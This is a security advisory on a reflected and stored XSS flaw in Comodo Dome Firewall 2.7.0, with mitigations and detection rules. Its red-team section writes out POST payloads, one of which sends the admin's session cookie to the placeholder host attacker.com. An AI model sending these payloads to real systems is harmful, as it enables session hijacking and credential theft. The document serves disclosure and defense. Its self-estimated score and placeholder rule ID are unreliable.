CVE-2019-25422

Executive Summary

CVE-2019-25422 is a cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. The vulnerability allows attackers to inject malicious scripts through the vpnfw endpoint. Attackers can submit POST requests with script payloads in the target parameter for reflected XSS or the remark parameter for stored XSS, leading to arbitrary JavaScript execution in administrator browsers. This can result in session hijacking, credential theft, or further compromise of the firewall management interface. No patch is currently available, and the vulnerability is publicly known.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone product vulnerability in Comodo Dome Firewall.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the description, a reasonable assessment would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – administrator must visit a crafted link or page
• Scope (S): Changed (C) – XSS can impact the firewall management interface
• Confidentiality (C): High (H) – potential for session hijacking
• Integrity (I): High (H) – scripts can modify settings
• Availability (A): Low (L) – limited impact on availability

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L Estimated Score: 8.2 (High)

Deep Dive & Mechanics

The vulnerability exists in the vpnfw endpoint of Comodo Dome Firewall 2.7.0. The endpoint does not properly sanitize user input in the target and remark parameters. An attacker can craft a POST request containing JavaScript payloads in these parameters. When an administrator accesses the affected page, the script executes in the context of the administrator's browser, allowing the attacker to perform actions such as stealing session cookies, modifying firewall rules, or exfiltrating sensitive data.

Reflected XSS: The target parameter reflects the input directly in the response without sanitization. Stored XSS: The remark parameter stores the input in the database, which is later rendered in the administrator interface without proper encoding.

Vulnerable vs. Patched Code

Vulnerable Code (Comodo Dome Firewall 2.7.0): The vpnfw endpoint likely processes POST parameters without proper output encoding. For example:

// Vulnerable PHP-like pseudocode
$target = $_POST['target'];
echo "<div>Target: $target</div>";

Patched Code (Hypothetical): A patch would involve sanitizing and encoding output:

// Patched code
$target = htmlspecialchars($_POST['target'], ENT_QUOTES, 'UTF-8');
echo "<div>Target: $target</div>";

Exploitation & Lab Setup

Red Team

Exploit Payloads:

1. Reflected XSS via target parameter:

POST /vpnfw HTTP/1.1
Host: target-firewall
Content-Type: application/x-www-form-urlencoded

target=<script>alert('XSS')</script>&remark=test

2. Stored XSS via remark parameter:

POST /vpnfw HTTP/1.1
Host: target-firewall
Content-Type: application/x-www-form-urlencoded

target=test&remark=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

• Deploy Comodo Dome Firewall 2.7.0 in a virtualized environment.
• Use a browser to access the management interface.
• Send crafted POST requests using tools like Burp Suite or cURL.
• Observe script execution in the administrator's browser.

Blue Team

Detection:

• Monitor for POST requests to /vpnfw with suspicious parameters containing <script> or event handlers.
• Use web application firewalls (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Since no patch is available, consider isolating the firewall management interface from untrusted networks.
• Use input validation and output encoding in custom proxies if possible.
• Restrict access to the management interface via IP whitelisting.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /vpnfw with parameters containing <script>, onerror, onload, or similar XSS patterns.
  • Outbound connections to attacker-controlled domains from the firewall management interface.

• File IOCs:

  • Log entries showing unusual script payloads in target or remark fields.

• Behavioral IOCs:

  • Unexpected changes to firewall rules or configurations.
  • Unauthorized administrative sessions.

Detection Engineering

YARA Rule

rule CVE_2019_25422_XSS {
    meta:
        description = "Detects XSS payloads targeting Comodo Dome Firewall vpnfw endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25422"
    strings:
        $xss1 = /target=.*<script>/ nocase
        $xss2 = /remark=.*<script>/ nocase
        $xss3 = /target=.*onerror/ nocase
        $xss4 = /remark=.*onerror/ nocase
    condition:
        any of them
}

Sigma Rule

title: Comodo Dome Firewall XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts against Comodo Dome Firewall vpnfw endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/vpnfw'
        cs-uri-query|contains: 
            - '<script>'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25422 Comodo Dome Firewall XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/vpnfw"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict access to the firewall management interface to trusted IP addresses only.
   • Use a reverse proxy with WAF capabilities to filter malicious requests.
   • Monitor logs for suspicious activity.

2. Long-term Actions:

   • Contact Comodo for a patch or upgrade to a newer version if available.
   • Implement input validation and output encoding in any custom scripts interacting with the firewall.
   • Conduct regular security assessments of the firewall interface.

3. Workarounds:

   • Disable the vpnfw endpoint if not required.
   • Use browser extensions that block XSS (e.g., NoScript).

Valters IT
Securing Digital Frontiers